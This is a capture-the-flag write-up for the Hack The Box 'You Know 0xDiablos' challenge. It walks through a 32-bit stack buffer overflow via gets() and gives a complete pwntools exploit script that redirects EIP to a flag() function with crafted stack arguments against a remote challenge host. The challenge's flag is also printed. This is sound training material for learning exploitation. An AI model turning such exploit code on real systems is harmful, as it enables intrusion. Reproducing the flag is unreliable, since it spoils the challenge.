HTB You Know 0xDiablos writeup - Pez1181/CTF GitHub Wiki
Challenge Type: Pwn / Stack Overflow
Difficulty: Beginner Friendly
Vulnerability: Stack-based Buffer Overflow
Protection Bypassed: No Canary, NX Disabled, No PIE
file vulnvuln: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
checksec vulnRELRO: Partial
Canary: No
NX: Disabled
PIE: No
A highly exploitable binary — no canary, no PIE, NX disabled, and unstripped symbols.
Decompiling main reveals it prints a welcome message and calls a function named vuln().
In vuln(), we see the use of gets() with a buffer located at [ebp - 0xb8]:
lea eax, [ebp-0xb8]
push eax
call getsThis gives us:
- A buffer overflow opportunity (184 bytes to EBP)
- The ability to control EIP by overflowing the stack
We determine the offset to EIP using a cyclic pattern:
cyclic 300
# Run and crash
cyclic -l <EIP>➡️ Offset = 188 bytes
We identify a target function named flag() using r2:
r2 ./vuln -qc "aaa; afl~flag"0x080491e2 8 144 sym.flag
Decompiling flag() shows:
cmp dword [ebp+8], 0xdeadbeef
jne fail
cmp dword [ebp+0xc], 0xc0ded00d
jne failSo in order to execute flag() and trigger the flag output, we must:
- Overwrite EIP with
flag() - Provide arguments on the stack:
-
arg1 = 0xdeadbeef→ [ebp+8] -
arg2 = 0xc0ded00d→ [ebp+0xc]
-
🧠 cdecl calling convention = arguments are pushed right-to-left. So:
[188 bytes buffer] [EIP → flag()] [ret addr] [arg1] [arg2]
from pwn import *
context.binary = './vuln'
context.arch = 'i386'
offset = 188
flag_addr = 0x080491e2
arg1 = 0xdeadbeef
arg2 = 0xc0ded00d
payload = b"A" * offset
payload += p32(flag_addr)
payload += b"AAAA" # Return address after flag (not used)
payload += p32(arg1) # Argument 1 (ebp+8)
payload += p32(arg2) # Argument 2 (ebp+0xc)
# Remote challenge
p = remote('83.136.249.199', 46959)
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='ignore'))HTB{buffered_doom_is_best_doom}
-
gets()= unbounded input = stack overflow - 32-bit binary uses cdecl: args go right-to-left
-
p32()handles little-endian formatting automatically -
interactive()avoided as no shell was required — we only needed output - Input size validated remotely using trial increments — payload length up to 240 accepted
Stack overflow via gets()
EIP redirected to flag()
Correct arguments placed on the stack
Remote and local exploits matched
Flag retrieved successfully